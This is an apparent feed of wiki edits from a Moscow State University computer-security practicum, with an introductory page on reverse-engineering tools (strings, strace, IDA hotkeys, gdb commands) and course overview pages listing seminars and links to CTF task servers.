* {{клавиша|R}} — переопределить число в инструкции как строку (&amp;lt;code&amp;gt;mov rdx, 335F47414C465Fh&amp;lt;/code&amp;gt; -&amp;gt; &amp;lt;code&amp;gt;mov rdx, &#039;3_GALF_&#039;&amp;lt;/code&amp;gt;)&lt;br /&gt;
&lt;br /&gt;
==== Режим декомпилятора (Hex-Rays) ====&lt;br /&gt;
* {{клавиша|N}} — переименовать&lt;br /&gt;
* {{клавиша|Y}} — поменять тип&lt;br /&gt;
** Может показаться, что с помощью {{клавиша|Y}} можно и переименовать, или с помощью {{клавиша|N}} задать тип, однако это не так&lt;br /&gt;
* {{клавиша|Enter}} — проследовать по курсору&lt;br /&gt;
* {{клавиша|Esc}} — назад &lt;br /&gt;
* {{клавиша|Tab}} — перейти к данному месту из декомпилированного в дизассемблированный код и обратно&lt;br /&gt;
&lt;br /&gt;
[https://www.hex-rays.com/products/decompiler/manual/interactive.shtml Полный список] на официальном сайте.&lt;br /&gt;
&lt;br /&gt;
== gdb ==&lt;br /&gt;
&lt;br /&gt;
С &#039;&#039;&#039;gdb&#039;&#039;&#039; можно познакомиться по любому туториалу в интернете.&lt;br /&gt;
&lt;br /&gt;
Однако в отладке приложений без исходников есть некоторая специфика, и тут могут быть особенно полезные такие команды:&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;b * 0x400155&amp;lt;/code&amp;gt; - поставить брэйкпоинт на адрес.&lt;br /&gt;
* &amp;lt;code&amp;gt;p (char*)$rdi&amp;lt;/code&amp;gt; - напечатать как строку содержимое памяти, на которую указывает регистр &amp;lt;code&amp;gt;rdi&amp;lt;/code&amp;gt;. См. также [https://en.wikipedia.org/wiki/X86_calling_conventions#System_V_AMD64_ABI статью про соглашения вызовов на Википедии].&lt;br /&gt;
* &amp;lt;code&amp;gt;help x&amp;lt;/code&amp;gt; - почитать справку по команде &amp;lt;code&amp;gt;x&amp;lt;/code&amp;gt;, которая очень полезна для изучения содержимого памяти.&lt;br /&gt;
* &amp;lt;code&amp;gt;x/10i $pc&amp;lt;/code&amp;gt; - посмотреть несколько инструкций вперед.&lt;br /&gt;
* &amp;lt;code&amp;gt;layout asm&amp;lt;/code&amp;gt; - переключиться в псевдографический режим с листингом ассемблерных команд.&lt;br /&gt;
* &amp;lt;code&amp;gt;info proc mappings&amp;lt;/code&amp;gt; - показать карту памяти процесса&lt;br /&gt;
&lt;br /&gt;
== Примеры с занятия ==&lt;br /&gt;
&lt;br /&gt;
Бинарник, который были рассмотрен на семинаре: [[Reverse examples 2025.zip]].&lt;/div&gt;</summary>
		<author><name>Romankholin94</name></author>
	</entry>
	<entry>
		<id>https://course.secsem.ru/w/index.php?title=%D0%91%D0%B8%D0%BD%D0%B0%D1%80%D0%BD%D1%8B%D0%B5_%D1%83%D1%8F%D0%B7%D0%B2%D0%B8%D0%BC%D0%BE%D1%81%D1%82%D0%B8/%D0%98%D0%BD%D1%81%D1%82%D1%80%D1%83%D0%BC%D0%B5%D0%BD%D1%82%D1%8B_%D0%BF%D0%BE%D0%B8%D1%81%D0%BA%D0%B0_%D0%B1%D0%B8%D0%BD%D0%B0%D1%80%D0%BD%D1%8B%D1%85_%D1%83%D1%8F%D0%B7%D0%B2%D0%B8%D0%BC%D0%BE%D1%81%D1%82%D0%B5%D0%B9&amp;diff=929</id>
		<title>Бинарные уязвимости/Инструменты поиска бинарных уязвимостей</title>
		<link rel="alternate" type="text/html" href="https://course.secsem.ru/w/index.php?title=%D0%91%D0%B8%D0%BD%D0%B0%D1%80%D0%BD%D1%8B%D0%B5_%D1%83%D1%8F%D0%B7%D0%B2%D0%B8%D0%BC%D0%BE%D1%81%D1%82%D0%B8/%D0%98%D0%BD%D1%81%D1%82%D1%80%D1%83%D0%BC%D0%B5%D0%BD%D1%82%D1%8B_%D0%BF%D0%BE%D0%B8%D1%81%D0%BA%D0%B0_%D0%B1%D0%B8%D0%BD%D0%B0%D1%80%D0%BD%D1%8B%D1%85_%D1%83%D1%8F%D0%B7%D0%B2%D0%B8%D0%BC%D0%BE%D1%81%D1%82%D0%B5%D0%B9&amp;diff=929"/>
		<updated>2025-11-10T19:11:10Z</updated>

		<summary type="html">&lt;p&gt;Romankholin94: /* Примеры с занятия */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== strings ==&lt;br /&gt;
&lt;br /&gt;
Выводит константные строки, которые есть в бинарнике. Строки определяются эвристикой, поэтому часто бывают ложные срабатывания. IDA тоже умеет определять строки.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ strings reverse_example_1&lt;br /&gt;
/lib64/ld-linux-x86-64.so.2&lt;br /&gt;
libcrypto.so.1.0.0&lt;br /&gt;
_ITM_deregisterTMCloneTable&lt;br /&gt;
/lib64/ld-linux-x86-64.so.2&lt;br /&gt;
libcrypto.so.1.0.0&lt;br /&gt;
_ITM_deregisterTMCloneTable&lt;br /&gt;
__gmon_start__&lt;br /&gt;
_Jv_RegisterClasses&lt;br /&gt;
_ITM_registerTMCloneTable&lt;br /&gt;
MD5_Final&lt;br /&gt;
MD5_Init&lt;br /&gt;
MD5_Update&lt;br /&gt;
libc.so.6&lt;br /&gt;
fopen&lt;br /&gt;
__stack_chk_fail&lt;br /&gt;
fgets&lt;br /&gt;
malloc&lt;br /&gt;
stderr&lt;br /&gt;
fwrite&lt;br /&gt;
__sprintf_chk&lt;br /&gt;
__libc_start_main&lt;br /&gt;
free&lt;br /&gt;
GLIBC_2.3.4&lt;br /&gt;
GLIBC_2.4&lt;br /&gt;
GLIBC_2.2.5&lt;br /&gt;
OPENSSL_1.0.0&lt;br /&gt;
D$(1&lt;br /&gt;
T$(dH3&lt;br /&gt;
AUATH&lt;br /&gt;
D$h1&lt;br /&gt;
|$hdH3&amp;lt;%(&lt;br /&gt;
x[]A\A]&lt;br /&gt;
AWAVA&lt;br /&gt;
AUATL&lt;br /&gt;
[]A\A]A^A_&lt;br /&gt;
%02X&lt;br /&gt;
./cd-key.txt&lt;br /&gt;
failed to open CD key file&lt;br /&gt;
failed to read CD key file&lt;br /&gt;
invalid cdkey&lt;br /&gt;
Good job!&lt;br /&gt;
;*3$&amp;quot;&lt;br /&gt;
.shstrtab&lt;br /&gt;
.interp&lt;br /&gt;
.note.ABI-tag&lt;br /&gt;
.gnu.hash&lt;br /&gt;
.dynsym&lt;br /&gt;
.dynstr&lt;br /&gt;
.gnu.version&lt;br /&gt;
.gnu.version_r&lt;br /&gt;
.rela.dyn&lt;br /&gt;
.rela.plt&lt;br /&gt;
.init&lt;br /&gt;
.plt.got&lt;br /&gt;
.text&lt;br /&gt;
.fini&lt;br /&gt;
.rodata&lt;br /&gt;
.eh_frame_hdr&lt;br /&gt;
.eh_frame&lt;br /&gt;
.init_array&lt;br /&gt;
.fini_array&lt;br /&gt;
.jcr&lt;br /&gt;
.dynamic&lt;br /&gt;
.got.plt&lt;br /&gt;
.data&lt;br /&gt;
.bss&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== strace ==&lt;br /&gt;
&lt;br /&gt;
Выводит трассу системных вызовов. Полезно, чтобы определить, какие файлы читает программа, и как вообще взаимодействует с внешним миром (в том числе сеть).&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ strace ./reverse_example_1&lt;br /&gt;
...&lt;br /&gt;
openat(AT_FDCWD, &amp;quot;./cd-key.txt&amp;quot;, O_RDONLY) = 3&lt;br /&gt;
fstat(3, {st_mode=S_IFREG|0644, st_size=24, ...}) = 0&lt;br /&gt;
read(3, &amp;quot;AAAAA-BBBBB-CCCCC-DDDDD\n&amp;quot;, 4096) = 24&lt;br /&gt;
write(2, &amp;quot;invalid cdkey\n&amp;quot;, 14)         = 14&lt;br /&gt;
exit_group(1)                           = ?&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== IDA ==&lt;br /&gt;
&lt;br /&gt;
Интерактивный дизассемблер и декомпилятор.&lt;br /&gt;
&lt;br /&gt;
Версия IDA Free вполне подходит для наших задач, её можно [https://hex-rays.com/ida-free/ скачать с официального сайта]. Ссылки на скачивание могут не открываться из РФ, вот на всякий случай зеркала:&lt;br /&gt;
&lt;br /&gt;
* https://course.secsem.ru/idafree83_linux.run&lt;br /&gt;
* https://course.secsem.ru/idafree83_windows.exe&lt;br /&gt;
* https://course.secsem.ru/idafree83_mac.app.zip&lt;br /&gt;
&lt;br /&gt;
=== Шорткаты ===&lt;br /&gt;
&amp;lt;center style=&amp;quot;font-size: 500%&amp;quot;&amp;gt;&lt;br /&gt;
{{клавиша|F5}}&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
==== Режим дизассемблера ====&lt;br /&gt;
* {{клавиша|P}} — создать функцию, начиная с текущей позиции курсора&lt;br /&gt;
* {{клавиша|F5}} — декомпилировать функцию&lt;br /&gt;
* {{клавиша|Enter}} — проследовать по курсору (например, перейти к функции или массиву)&lt;br /&gt;
* {{клавиша|Esc}} — назад (противоположность {{клавиша|Enter}})&lt;br /&gt;
* {{клавиша|X}} — показать ссылки на то, что под курсором (на функцию, переменную, строку, etc.)&lt;br /&gt;
* {{клавиша|C}} — переопределить байты, начиная с курсора, как код.&lt;br /&gt;
* {{клавиша|D}} — переопределить байты, начиная с курсора, как данные (последовательные нажатия переключают размер переменной byte-word-dword(-qword))&lt;br /&gt;
* {{клавиша|A}} — переопределить байты, начиная с курсора, как строку&lt;br /&gt;
* {{клавиша|R}} — переопределить число в инструкции как строку (&amp;lt;code&amp;gt;mov rdx, 335F47414C465Fh&amp;lt;/code&amp;gt; -&amp;gt; &amp;lt;code&amp;gt;mov rdx, &#039;3_GALF_&#039;&amp;lt;/code&amp;gt;)&lt;br /&gt;
&lt;br /&gt;
==== Режим декомпилятора (Hex-Rays) ====&lt;br /&gt;
* {{клавиша|N}} — переименовать&lt;br /&gt;
* {{клавиша|Y}} — поменять тип&lt;br /&gt;
** Может показаться, что с помощью {{клавиша|Y}} можно и переименовать, или с помощью {{клавиша|N}} задать тип, однако это не так&lt;br /&gt;
* {{клавиша|Enter}} — проследовать по курсору&lt;br /&gt;
* {{клавиша|Esc}} — назад &lt;br /&gt;
* {{клавиша|Tab}} — перейти к данному месту из декомпилированного в дизассемблированный код и обратно&lt;br /&gt;
&lt;br /&gt;
[https://www.hex-rays.com/products/decompiler/manual/interactive.shtml Полный список] на официальном сайте.&lt;br /&gt;
&lt;br /&gt;
== gdb ==&lt;br /&gt;
&lt;br /&gt;
С &#039;&#039;&#039;gdb&#039;&#039;&#039; можно познакомиться по любому туториалу в интернете.&lt;br /&gt;
&lt;br /&gt;
Однако в отладке приложений без исходников есть некоторая специфика, и тут могут быть особенно полезные такие команды:&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;b * 0x400155&amp;lt;/code&amp;gt; - поставить брэйкпоинт на адрес.&lt;br /&gt;
* &amp;lt;code&amp;gt;p (char*)$rdi&amp;lt;/code&amp;gt; - напечатать как строку содержимое памяти, на которую указывает регистр &amp;lt;code&amp;gt;rdi&amp;lt;/code&amp;gt;. См. также [https://en.wikipedia.org/wiki/X86_calling_conventions#System_V_AMD64_ABI статью про соглашения вызовов на Википедии].&lt;br /&gt;
* &amp;lt;code&amp;gt;help x&amp;lt;/code&amp;gt; - почитать справку по команде &amp;lt;code&amp;gt;x&amp;lt;/code&amp;gt;, которая очень полезна для изучения содержимого памяти.&lt;br /&gt;
* &amp;lt;code&amp;gt;x/10i $pc&amp;lt;/code&amp;gt; - посмотреть несколько инструкций вперед.&lt;br /&gt;
* &amp;lt;code&amp;gt;layout asm&amp;lt;/code&amp;gt; - переключиться в псевдографический режим с листингом ассемблерных команд.&lt;br /&gt;
* &amp;lt;code&amp;gt;info proc mappings&amp;lt;/code&amp;gt; - показать карту памяти процесса&lt;br /&gt;
&lt;br /&gt;
== Примеры с занятия ==&lt;br /&gt;
&lt;br /&gt;
Бинарник, который были рассмотрен на семинаре: [[Media:Reverse examples 2025.zip]].&lt;/div&gt;</summary>
		<author><name>Romankholin94</name></author>
	</entry>
	<entry>
		<id>https://course.secsem.ru/w/index.php?title=%D0%A4%D0%B0%D0%B9%D0%BB:Reverse_examples_2025.zip&amp;diff=928</id>
		<title>Файл:Reverse examples 2025.zip</title>
		<link rel="alternate" type="text/html" href="https://course.secsem.ru/w/index.php?title=%D0%A4%D0%B0%D0%B9%D0%BB:Reverse_examples_2025.zip&amp;diff=928"/>
		<updated>2025-11-10T19:10:28Z</updated>

		<summary type="html">&lt;p&gt;Romankholin94: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Romankholin94</name></author>
	</entry>
	<entry>
		<id>https://course.secsem.ru/w/index.php?title=%D0%9F%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D0%BA%D1%83%D0%BC_%D0%BD%D0%B0_%D0%AD%D0%92%D0%9C_(2025)&amp;diff=927</id>
		<title>Практикум на ЭВМ (2025)</title>
		<link rel="alternate" type="text/html" href="https://course.secsem.ru/w/index.php?title=%D0%9F%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D0%BA%D1%83%D0%BC_%D0%BD%D0%B0_%D0%AD%D0%92%D0%9C_(2025)&amp;diff=927"/>
		<updated>2025-11-10T19:09:50Z</updated>

		<summary type="html">&lt;p&gt;Romankholin94: /* Веб */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__NOTOC__&lt;br /&gt;
&#039;&#039;&#039;Практикум на ЭВМ&#039;&#039;&#039; кафедры ИБ ВМК МГУ ведут сотрудники лаборатории интеллектуальных систем кибербезопасности для групп 391 и 392.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Когда&#039;&#039;&#039;: по понедельникам 12:50, &lt;br /&gt;
* &#039;&#039;&#039;Где&#039;&#039;&#039;: аудитория 790&lt;br /&gt;
&lt;br /&gt;
Практикум связан с курсом «Безопасность компьютерных систем», который читается для группы 392, и содержит практические задания по темам курса. Каждое занятие практикума имеет формат воркшопа/семинара — т.е. занятие будет практическим, на него надо приходить с ноутбуком, а также установленным софтом. Набор нужного для занятия софта объявляется отдельно перед занятием.&lt;br /&gt;
&lt;br /&gt;
Основные темы, которые будут затронуты в практикуме 2025/2026 учебного года:&lt;br /&gt;
* веб-безопасность&lt;br /&gt;
* реверс-инжиниринг и эксплуатация бинарных программ&lt;br /&gt;
* криптография&lt;br /&gt;
* сетевая безопасность&lt;br /&gt;
&lt;br /&gt;
Оценка за практикум будет определяться по результатам выполнения практических заданий. За каждое из заданий будут даваться баллы, сумма баллов и определит оценку. Задания будут делиться на обязательные и бонусные, баллы за все обязательные задания одной темы будут в сумме давать &#039;&#039;&#039;1000&#039;&#039;&#039;, таким образом, баллы за все обязательные задания одного семестра вместе дадут &#039;&#039;&#039;2000&#039;&#039;&#039;.&lt;br /&gt;
Большая часть заданий будет выполнена в формате CTF-тасков&amp;lt;ref&amp;gt;Про CTF и CTF-команду [[Bushwhackers]]&amp;lt;/ref&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
== Задания ==&lt;br /&gt;
&lt;br /&gt;
Задания выполнены в формате task-based CTF: в каждом задании есть один или несколько «флагов», выполняющих роль ценных данных, которые требуется найти и украсть атакующему, для выполнения задания необходимо получить флаг и сдать его в принимающую систему. За каждый сданный флаг начисляются очки. Флаг представляет из себя строку, которая может состоять из цифр и букв английского алфавита, а также нижних подчеркиваний («_»).&lt;br /&gt;
&lt;br /&gt;
Флаги, входящие в обязательную часть, будут начинаться с префикса &amp;lt;code&amp;gt;main_&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Флаги нужно сдавать в [http://dashboard.prak.seclab.cs.msu.ru/ принимающую систему]. Флаги время от времени меняются, если вы получили флаг, но он не сдается, попробуйте вытащить его еще раз и сдать снова — возможно, он поменялся как раз в тот момент. Флаг за одно и то же задание засчитывается для того же сдающего только один раз (даже после изменения).&lt;br /&gt;
&lt;br /&gt;
Доступ к заданиям осуществляется через VPN, доступы к которому можно получить у старосты. &lt;br /&gt;
&lt;br /&gt;
=== Веб ===&lt;br /&gt;
* [[Практикум_на_ЭВМ_(2025)/Бонусное_задание|Бонусное задание]]&lt;br /&gt;
* http://pwnitter.tasks.prak.seclab.cs.msu.ru/ (deadline - 08.11.2024 23:59)&lt;br /&gt;
* http://corporate.tasks.prak.seclab.cs.msu.ru/ (deadline - 08.11.2024 23:59)&lt;br /&gt;
* http://bank.tasks.prak.seclab.cs.msu.ru/ (deadline - 08.11.2024 23:59)&lt;br /&gt;
* http://shop.tasks.prak.seclab.cs.msu.ru/  (deadline - 14.11.2024 23:59)&lt;br /&gt;
&lt;br /&gt;
=== Реверс-инжиниринг и бинарная эксплуатация ===&lt;br /&gt;
&lt;br /&gt;
=== Криптография и криптоанализ ===&lt;br /&gt;
&lt;br /&gt;
== Материалы ==&lt;br /&gt;
&lt;br /&gt;
=== Веб ===&lt;br /&gt;
&lt;br /&gt;
Семинар 1 (15 сентября 2025) [[Веб-безопасность/Введение в веб-технологии]]&lt;br /&gt;
&lt;br /&gt;
Семинар 2 (22 сентября 2025) [[Веб-безопасность/Базы_данных_SQL]]&lt;br /&gt;
&lt;br /&gt;
Семинар 3 (29 сентября 2025) [[Веб-безопасность/Уязвимости_SQLi]]&lt;br /&gt;
&lt;br /&gt;
Семинар 4 (6 октября 2025) [[Веб-безопасность/Уязвимости_XSS]]&lt;br /&gt;
&lt;br /&gt;
Семинар 5 (13 октября 2025) [[Веб-безопасность/Уязвимости_FileUpload]]&lt;br /&gt;
&lt;br /&gt;
Семинар 6 (20 октября 2025) [[Веб-безопасность/Атаки_SSRF]]&lt;br /&gt;
&lt;br /&gt;
Семинар 7 (27 октября 2025) [[Веб-безопасность/Уязвимости_XXE]]&lt;br /&gt;
&lt;br /&gt;
=== Реверс-инжиниринг и бинарная эксплуатация ===&lt;br /&gt;
&lt;br /&gt;
Семинар 8 (10 ноября 2025) [[Бинарные_уязвимости/Инструменты_поиска_бинарных_уязвимостей]]&lt;br /&gt;
&lt;br /&gt;
=== Криптография и криптоанализ ===&lt;br /&gt;
&lt;br /&gt;
=== Сетевая безопасность ===&lt;br /&gt;
&lt;br /&gt;
== Примечания ==&lt;br /&gt;
&amp;lt;references/&amp;gt;&lt;/div&gt;</summary>
		<author><name>Romankholin94</name></author>
	</entry>
	<entry>
		<id>https://course.secsem.ru/w/index.php?title=%D0%9F%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D0%BA%D1%83%D0%BC_%D0%BD%D0%B0_%D0%AD%D0%92%D0%9C_(2025)&amp;diff=926</id>
		<title>Практикум на ЭВМ (2025)</title>
		<link rel="alternate" type="text/html" href="https://course.secsem.ru/w/index.php?title=%D0%9F%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D0%BA%D1%83%D0%BC_%D0%BD%D0%B0_%D0%AD%D0%92%D0%9C_(2025)&amp;diff=926"/>
		<updated>2025-11-10T19:09:32Z</updated>

		<summary type="html">&lt;p&gt;Romankholin94: /* Реверс-инжиниринг и бинарная эксплуатация */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__NOTOC__&lt;br /&gt;
&#039;&#039;&#039;Практикум на ЭВМ&#039;&#039;&#039; кафедры ИБ ВМК МГУ ведут сотрудники лаборатории интеллектуальных систем кибербезопасности для групп 391 и 392.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Когда&#039;&#039;&#039;: по понедельникам 12:50, &lt;br /&gt;
* &#039;&#039;&#039;Где&#039;&#039;&#039;: аудитория 790&lt;br /&gt;
&lt;br /&gt;
Практикум связан с курсом «Безопасность компьютерных систем», который читается для группы 392, и содержит практические задания по темам курса. Каждое занятие практикума имеет формат воркшопа/семинара — т.е. занятие будет практическим, на него надо приходить с ноутбуком, а также установленным софтом. Набор нужного для занятия софта объявляется отдельно перед занятием.&lt;br /&gt;
&lt;br /&gt;
Основные темы, которые будут затронуты в практикуме 2025/2026 учебного года:&lt;br /&gt;
* веб-безопасность&lt;br /&gt;
* реверс-инжиниринг и эксплуатация бинарных программ&lt;br /&gt;
* криптография&lt;br /&gt;
* сетевая безопасность&lt;br /&gt;
&lt;br /&gt;
Оценка за практикум будет определяться по результатам выполнения практических заданий. За каждое из заданий будут даваться баллы, сумма баллов и определит оценку. Задания будут делиться на обязательные и бонусные, баллы за все обязательные задания одной темы будут в сумме давать &#039;&#039;&#039;1000&#039;&#039;&#039;, таким образом, баллы за все обязательные задания одного семестра вместе дадут &#039;&#039;&#039;2000&#039;&#039;&#039;.&lt;br /&gt;
Большая часть заданий будет выполнена в формате CTF-тасков&amp;lt;ref&amp;gt;Про CTF и CTF-команду [[Bushwhackers]]&amp;lt;/ref&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
== Задания ==&lt;br /&gt;
&lt;br /&gt;
Задания выполнены в формате task-based CTF: в каждом задании есть один или несколько «флагов», выполняющих роль ценных данных, которые требуется найти и украсть атакующему, для выполнения задания необходимо получить флаг и сдать его в принимающую систему. За каждый сданный флаг начисляются очки. Флаг представляет из себя строку, которая может состоять из цифр и букв английского алфавита, а также нижних подчеркиваний («_»).&lt;br /&gt;
&lt;br /&gt;
Флаги, входящие в обязательную часть, будут начинаться с префикса &amp;lt;code&amp;gt;main_&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Флаги нужно сдавать в [http://dashboard.prak.seclab.cs.msu.ru/ принимающую систему]. Флаги время от времени меняются, если вы получили флаг, но он не сдается, попробуйте вытащить его еще раз и сдать снова — возможно, он поменялся как раз в тот момент. Флаг за одно и то же задание засчитывается для того же сдающего только один раз (даже после изменения).&lt;br /&gt;
&lt;br /&gt;
Доступ к заданиям осуществляется через VPN, доступы к которому можно получить у старосты. &lt;br /&gt;
&lt;br /&gt;
=== Веб ===&lt;br /&gt;
* [[Практикум_на_ЭВМ_(2025)/Бонусное_задание|Бонусное задание]]&lt;br /&gt;
* http://pwnitter.tasks.prak.seclab.cs.msu.ru/ (deadline - 08.11.2024 23:59)&lt;br /&gt;
* http://corporate.tasks.prak.seclab.cs.msu.ru/ (deadline - 08.11.2024 23:59)&lt;br /&gt;
* http://bank.tasks.prak.seclab.cs.msu.ru/ (deadline - 08.11.2024 23:59)&lt;br /&gt;
* http://shop.tasks.prak.seclab.cs.msu.ru/  (deadline - 14.11.2024 23:59)&lt;br /&gt;
&lt;br /&gt;
=== Реверс-инжиниринг и бинарная эксплуатация ===&lt;br /&gt;
&lt;br /&gt;
=== Криптография и криптоанализ ===&lt;br /&gt;
&lt;br /&gt;
== Материалы ==&lt;br /&gt;
&lt;br /&gt;
=== Веб ===&lt;br /&gt;
&lt;br /&gt;
Семинар 1 (15 сентября 2025) [[Веб-безопасность/Введение в веб-технологии]]&lt;br /&gt;
&lt;br /&gt;
Семинар 2 (22 сентября 2025) [[Веб-безопасность/Базы_данных_SQL]]&lt;br /&gt;
&lt;br /&gt;
Семинар 3 (29 сентября 2025) [[Веб-безопасность/Уязвимости_SQLi]]&lt;br /&gt;
&lt;br /&gt;
Семинар 4 (6 октября 2025) [[Веб-безопасность/Уязвимости_XSS]]&lt;br /&gt;
&lt;br /&gt;
Семинар 5 (13 октября 2025) [[Веб-безопасность/Уязвимости_FileUpload]]&lt;br /&gt;
&lt;br /&gt;
Семинар 6 (20 октября 2024) [[Веб-безопасность/Атаки_SSRF]]&lt;br /&gt;
&lt;br /&gt;
Семинар 7 (27 октября 2024) [[Веб-безопасность/Уязвимости_XXE]]&lt;br /&gt;
&lt;br /&gt;
=== Реверс-инжиниринг и бинарная эксплуатация ===&lt;br /&gt;
&lt;br /&gt;
Семинар 8 (10 ноября 2025) [[Бинарные_уязвимости/Инструменты_поиска_бинарных_уязвимостей]]&lt;br /&gt;
&lt;br /&gt;
=== Криптография и криптоанализ ===&lt;br /&gt;
&lt;br /&gt;
=== Сетевая безопасность ===&lt;br /&gt;
&lt;br /&gt;
== Примечания ==&lt;br /&gt;
&amp;lt;references/&amp;gt;&lt;/div&gt;</summary>
		<author><name>Romankholin94</name></author>
	</entry>
	<entry>
		<id>https://course.secsem.ru/w/index.php?title=%D0%9F%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D0%BA%D1%83%D0%BC_%D0%BD%D0%B0_%D0%AD%D0%92%D0%9C_(2024)&amp;diff=895</id>
		<title>Практикум на ЭВМ (2024)</title>
		<link rel="alternate" type="text/html" href="https://course.secsem.ru/w/index.php?title=%D0%9F%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D0%BA%D1%83%D0%BC_%D0%BD%D0%B0_%D0%AD%D0%92%D0%9C_(2024)&amp;diff=895"/>
		<updated>2025-03-20T11:33:07Z</updated>

		<summary type="html">&lt;p&gt;Romankholin94: /* Криптография и криптоанализ */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__NOTOC__&lt;br /&gt;
&#039;&#039;&#039;Практикум на ЭВМ&#039;&#039;&#039; кафедры ИБ ВМК МГУ ведут сотрудники лаборатории интеллектуальных систем кибербезопасности для групп 319/1 и 319/2.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Когда&#039;&#039;&#039;: по понедельникам, 12:50&lt;br /&gt;
* &#039;&#039;&#039;Где&#039;&#039;&#039;: аудитория 645&lt;br /&gt;
&lt;br /&gt;
Практикум связан с курсом «Безопасность компьютерных систем», который читается для группы 319/2, и содержит практические задания по темам курса. Каждое занятие практикума имеет формат воркшопа/семинара — т.е. занятие будет практическим, на него надо приходить с ноутбуком, а также установленным софтом. Набор нужного для занятия софта объявляется отдельно перед занятием.&lt;br /&gt;
&lt;br /&gt;
Основные темы, которые будут затронуты в практикуме 2024/2025 учебного года:&lt;br /&gt;
* веб-безопасность&lt;br /&gt;
* реверс-инжиниринг и эксплуатация бинарных программ&lt;br /&gt;
* криптография&lt;br /&gt;
* сетевая безопасность&lt;br /&gt;
&lt;br /&gt;
Оценка за практикум будет определяться по результатам выполнения практических заданий. За каждое из заданий будут даваться баллы, сумма баллов и определит оценку. Задания будут делиться на обязательные и бонусные, баллы за все обязательные задания одной темы будут в сумме давать &#039;&#039;&#039;1000&#039;&#039;&#039;, таким образом, баллы за все обязательные задания одного семестра вместе дадут &#039;&#039;&#039;2000&#039;&#039;&#039;.&lt;br /&gt;
Большая часть заданий будет выполнена в формате CTF-тасков&amp;lt;ref&amp;gt;Про CTF и CTF-команду [[Bushwhackers]]&amp;lt;/ref&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
== Задания ==&lt;br /&gt;
&lt;br /&gt;
Задания выполнены в формате task-based CTF: в каждом задании есть один или несколько «флагов», выполняющих роль ценных данных, которые требуется найти и украсть атакующему, для выполнения задания необходимо получить флаг и сдать его в принимающую систему. За каждый сданный флаг начисляются очки. Флаг представляет из себя строку, которая может состоять из цифр и букв английского алфавита, а также нижних подчеркиваний («_»).&lt;br /&gt;
&lt;br /&gt;
Флаги, входящие в обязательную часть, будут начинаться с префикса &amp;lt;code&amp;gt;main_&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Флаги нужно сдавать в [https://dashboard.prak.seclab.cs.msu.ru/ принимающую систему]. В ней нужно заранее зарегистрироваться (ник в формате &#039;&#039;Фамилия Имя&#039;&#039;) и дождаться активации, без этого сдавать флаги не получится. Флаги время от времени меняются, если вы получили флаг, но он не сдается, попробуйте вытащить его еще раз и сдать снова — возможно, он поменялся как раз в тот момент. Флаг за одно и то же задание засчитывается для того же сдающего только один раз (даже после изменения).&lt;br /&gt;
&lt;br /&gt;
=== Веб ===&lt;br /&gt;
* [[Практикум_на_ЭВМ_(2023)/Бонусное_задание|Бонусное задание]]&lt;br /&gt;
* http://club.tasks.prak.seclab.cs.msu.ru/ (deadline - 07.10.2024 23:43)&lt;br /&gt;
* http://pwnitter.tasks.prak.seclab.cs.msu.ru/ (deadline - 17.10.2024 23:59)&lt;br /&gt;
* http://corporate.tasks.prak.seclab.cs.msu.ru/ (deadline - 17.10.2024 23:59)&lt;br /&gt;
* http://bank.tasks.prak.seclab.cs.msu.ru/ (deadline - 17.10.2024 23:59)&lt;br /&gt;
* http://shop.tasks.prak.seclab.cs.msu.ru/  (deadline - 13.11.2024 23:59)&lt;br /&gt;
* http://hard.tasks.prak.seclab.cs.msu.ru (deadline - 26.11.2024 23:59)&lt;br /&gt;
* http://jpg.tasks.prak.seclab.cs.msu.ru (deadline - 26.11.2024 23:59)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Реверс-инжиниринг и бинарная эксплуатация ===&lt;br /&gt;
&lt;br /&gt;
* [https://drive.google.com/file/d/19qIXrbhGyFUAHY-fG3pTlpse4GLLRgr7/view?usp=sharing task 1] nc 91.214.70.136 16971 (deadline - 17.12.2024 23:59)&lt;br /&gt;
* [https://drive.google.com/file/d/1Mw_BkNZ-QBkbQrRXLtZLkd3FypMdHp-d/view?usp=sharing task 2] nc 91.214.70.136 16972 (deadline - 17.12.2024 23:59)&lt;br /&gt;
* [https://drive.google.com/file/d/1IhG_OD6BDIS4TA_0QXrNxlRqU0xMcV_R/view?usp=sharing task 3] nc 91.214.70.136 16973 (deadline - 17.12.2024 23:59)&lt;br /&gt;
* [https://drive.google.com/file/d/1KF992P4Vt3i_7Hr2O6qPCxb5GOzPBXK8/view?usp=sharing task 4] nc tasks.prak.seclab.cs.msu.ru 16974 (deadline - 17.12.2024 23:59)&lt;br /&gt;
* [[Media:2024-pwn-tasks.zip |task 5]] nc tasks.prak.seclab.cs.msu.ru 16977 (deadline - 20.12.2024 23:59:59)&lt;br /&gt;
